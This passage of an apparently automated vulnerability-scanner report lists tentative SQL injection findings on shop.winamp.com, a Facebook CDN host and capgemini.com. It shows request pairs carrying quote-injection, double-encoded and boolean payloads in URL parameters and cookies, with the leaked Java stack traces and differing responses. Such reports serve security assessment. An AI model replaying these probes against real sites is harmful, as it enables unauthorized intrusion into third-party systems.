P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59
Content-Length: 24204

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>

...[SNIP]...
<pre>javax.servlet.ServletException: Required Page Parameter: productID not provided
at com.digitalriver.system.controller.SiteflowPlugin.appendURLParamsAndSection(SiteflowPlugin.java:283)
at com.digitalriver.system.controller.Siteflo
...[SNIP]...

Request 2

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000%2527%2527; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 2

HTTP/1.1 302 Moved Temporarily
Location: https://shop.winamp.com/store?Action=DisplayProductInterstitialDetailsPage&Env=BASE&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500
Content-Type: text/plain
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (N;ecid=127409894267,0)
Content-Length: 0
Date: Sun, 27 Feb 2011 17:47:25 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59

1.16. http://shop.winamp.com/store [JSESSIONID cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://shop.winamp.com
Path:	/store

Request 1

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF'; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 1

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=127409868347,0)
Date: Sun, 27 Feb 2011 17:47:00 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59
Content-Length: 24204

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>

...[SNIP]...
<pre>javax.servlet.ServletException: Required Page Parameter: productID not provided
at com.digitalriver.system.controller.SiteflowPlugin.appendURLParamsAndSection(SiteflowPlugin.java:283)
at com.digitalriver.system.controller.Siteflo
...[SNIP]...

Request 2

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF''; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 2

HTTP/1.1 302 Moved Temporarily
Location: https://shop.winamp.com/store?Action=DisplayProductInterstitialDetailsPage&Env=BASE&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500
Content-Type: text/plain
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (N;ecid=127409869490,0)
Content-Length: 0
Date: Sun, 27 Feb 2011 17:47:00 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59

1.17. http://shop.winamp.com/store [Locale parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://shop.winamp.com
Path:	/store

Remediation detail

There is probably no need to perform a second URL-decode of the value of the Locale request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US%2527&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 1

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=101639964458,0)
Date: Sun, 27 Feb 2011 17:45:22 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59
Content-Length: 23783

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>

...[SNIP]...
<pre>com.digitalriver.exception.TrackedSystemException: SIT_000001
at com.digitalriver.system.controller.SiteflowPlugin.determineNextPage(SiteflowPlugin.java:389)
at com.digitalriver.system.controller.SiteflowPlugin.handleRequest(
...[SNIP]...

Request 2

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US%2527%2527&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 2

HTTP/1.1 302 Moved Temporarily
Location: https://shop.winamp.com/store?Action=DisplayProductInterstitialDetailsPage&Env=BASE&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500
Content-Type: text/plain
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (N;ecid=101639965117,0)
Content-Length: 0
Date: Sun, 27 Feb 2011 17:45:22 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59

1.18. http://shop.winamp.com/store [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://shop.winamp.com
Path:	/store

Summary

Severity:	High
Confidence:	Tentative
Host:	http://shop.winamp.com
Path:	/store

Remediation detail

There is probably no need to perform a second URL-decode of the value of the productID request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500%2527 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 1

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=67280272038,0)
Date: Sun, 27 Feb 2011 17:46:06 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59
Content-Length: 25208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>

...[SNIP]...
<pre>java.lang.NullPointerException
   at com.digitalriver.security.SecurityModuleImpl.isPageAllowed(SecurityModuleImpl.java:762)
   at sun.reflect.GeneratedMethodAccessor290.invoke(Unknown Source)
   at sun.reflect.DelegatingMethodAccessorIm
...[SNIP]...

Request 2

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500%2527%2527 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 2

HTTP/1.1 302 Moved Temporarily
Location: https://shop.winamp.com/store?Action=DisplayProductInterstitialDetailsPage&Env=BASE&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500%2527%2527
Content-Type: text/plain
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (N;ecid=67280272104,0)
Content-Length: 0
Date: Sun, 27 Feb 2011 17:46:06 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59

1.22. http://shop.winamp.com/store [s_pers cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://shop.winamp.com
Path:	/store

Remediation detail

There is probably no need to perform a second URL-decode of the value of the s_pers cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B%2527; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 1

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=131704869494,0)
Date: Sun, 27 Feb 2011 17:47:32 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59
Content-Length: 24205

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>

...[SNIP]...
<pre>javax.servlet.ServletException: Required Page Parameter: productID not provided
at com.digitalriver.system.controller.SiteflowPlugin.appendURLParamsAndSection(SiteflowPlugin.java:283)
at com.digitalriver.system.controller.Siteflo
...[SNIP]...

Request 2

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B%2527%2527; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response 2

HTTP/1.1 302 Moved Temporarily
Location: https://shop.winamp.com/store?Action=DisplayProductInterstitialDetailsPage&Env=BASE&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500
Content-Type: text/plain
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (N;ecid=131704869912,0)
Content-Length: 0
Date: Sun, 27 Feb 2011 17:47:33 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59

1.23. http://shop.winamp.com/store [s_sess cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://shop.winamp.com
Path:	/store

Remediation detail

There is probably no need to perform a second URL-decode of the value of the s_sess cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%2527

Response 1

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=131704872526,0)
Date: Sun, 27 Feb 2011 17:47:36 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59
Content-Length: 24205

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>

...[SNIP]...
<pre>javax.servlet.ServletException: Required Page Parameter: productID not provided
at com.digitalriver.system.controller.SiteflowPlugin.appendURLParamsAndSection(SiteflowPlugin.java:283)
at com.digitalriver.system.controller.Siteflo
...[SNIP]...

Request 2

GET /store?Action=DisplayProductInterstitialDetailsPage&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500 HTTP/1.1
Host: shop.winamp.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000; s_pers=%20s_getnr%3D1298828696675-New%7C1361900696675%3B%20s_nrgvo%3DNew%7C1361900696677%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%2527%2527

Response 2

HTTP/1.1 302 Moved Temporarily
Location: https://shop.winamp.com/store?Action=DisplayProductInterstitialDetailsPage&Env=BASE&Locale=en_US&SiteID=winamp&ThemeID=1279300&productID=103591500
Content-Type: text/plain
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (N;ecid=131704873667,0)
Content-Length: 0
Date: Sun, 27 Feb 2011 17:47:36 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59

1.24. https://shop.winamp.com/store [BIGipServerp-drh-dc1pod5-pool1-active cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	https://shop.winamp.com
Path:	/store

Request 1

GET /store?Action=DisplayPage&Locale=en_US&SiteID=winamp&id=QuickBuyCartPage HTTP/1.1
Host: shop.winamp.com
Connection: keep-alive
Referer: http://forums.winamp.com/login.php?do=login
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; CUNAUTHID=1.f2ed797a429811e090debf3ab4450fde.215b; s_pers=%20s_getnr%3D1298828673274-New%7C1361900673274%3B%20s_nrgvo%3DNew%7C1361900673275%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Daolwinamp%252Caolsvc%253D%252526pid%25253Dwna%25252520%2525253A%25252520winamp.com-forums%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.winamp.com/buy%252526ot%25253DA%3B; ORA_WX_SESSION="10.1.2.74:516-0#0"; JSESSIONID=9ECEAF651620130932EEFCAA185CC2EF; VISITOR_ID=971D4E8DFAED436717607F8CF5E2471D3549693AC5B8492B; BIGipServerp-drh-dc1pod5-pool1-active=1241645322.516.0000'

Response 1

HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Connection: Keep-Alive
Keep-Alive: timeout=45, max=999
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (TN;ecid=114525008612,0)
Date: Sun, 27 Feb 2011 17:47:40 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59
Content-Length: 82107

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<!--!esi:include src="/esi?Sit
...[SNIP]...
<pre>java.lang.RuntimeException: java.lang.RuntimeException: java.lang.RuntimeException: Error serving pageContext.
at com.digitalriver.site.taglib.StyleTag.doStartTagInternal(StyleTag.java:47)
at com.digitalriver.taglib.TagProfil
...[SNIP]...

Request 2

Response 2

HTTP/1.1 302 Moved Temporarily
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, private
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Location: http://shop.winamp.com:80/store?Action=DisplayPage&Env=BASE&Locale=en_US&SiteID=winamp&id=QuickBuyCartPage
Content-Type: text/plain
Connection: Keep-Alive
Keep-Alive: timeout=45, max=999
Server: Oracle Application Server/10g (10.1.2) Apache OracleAS-Web-Cache-10g/10.1.2.0.2 (N;ecid=24330695573,0)
Content-Length: 0
Date: Sun, 27 Feb 2011 17:47:40 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP TAIa OUR IND UNI PUR COM NAV CNT STA PRE"
X-Server-Name: gcweb02@dc1app59

1.25. http://static.ak.fbcdn.net/rsrc.php/v1/yF/r/QsQtRaU6mGT.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yF/r/QsQtRaU6mGT.css

Request 1

GET /rsrc.php/v1/yF/r'%20and%201%3d1--%20/QsQtRaU6mGT.css HTTP/1.1
Host: static.ak.fbcdn.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 404 Not Found
Content-Length: 7
Content-Type: text/html; charset=utf-8
X-Bad-Checksum: yF
X-Powered-By: HPHP
X-FB-Server: 10.138.64.184
Vary: Accept-Encoding
Cache-Control: public, max-age=86400
Expires: Sun, 27 Feb 2011 23:10:57 GMT
Date: Sat, 26 Feb 2011 23:10:57 GMT
Connection: close

/*bcs*/

Request 2

GET /rsrc.php/v1/yF/r'%20and%201%3d2--%20/QsQtRaU6mGT.css HTTP/1.1
Host: static.ak.fbcdn.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 403 Forbidden
X-Bad-Prefix: /v1/yF/r' and 1=2-- /QsQtRaU6mGT.css
Content-Type: text/html; charset=utf-8
X-Powered-By: HPHP
X-FB-Server: 10.138.17.183
Content-Length: 0
Vary: Accept-Encoding
Expires: Sat, 26 Feb 2011 23:10:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 26 Feb 2011 23:10:57 GMT
Connection: close

1.26. http://www.capgemini.com/insights-and-resources/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.capgemini.com
Path:	/insights-and-resources/

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /insights-and-resources/?1%2527=1 HTTP/1.1
Host: www.capgemini.com
Proxy-Connection: keep-alive
Referer: http://www.capgemini.com/news-and-events/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
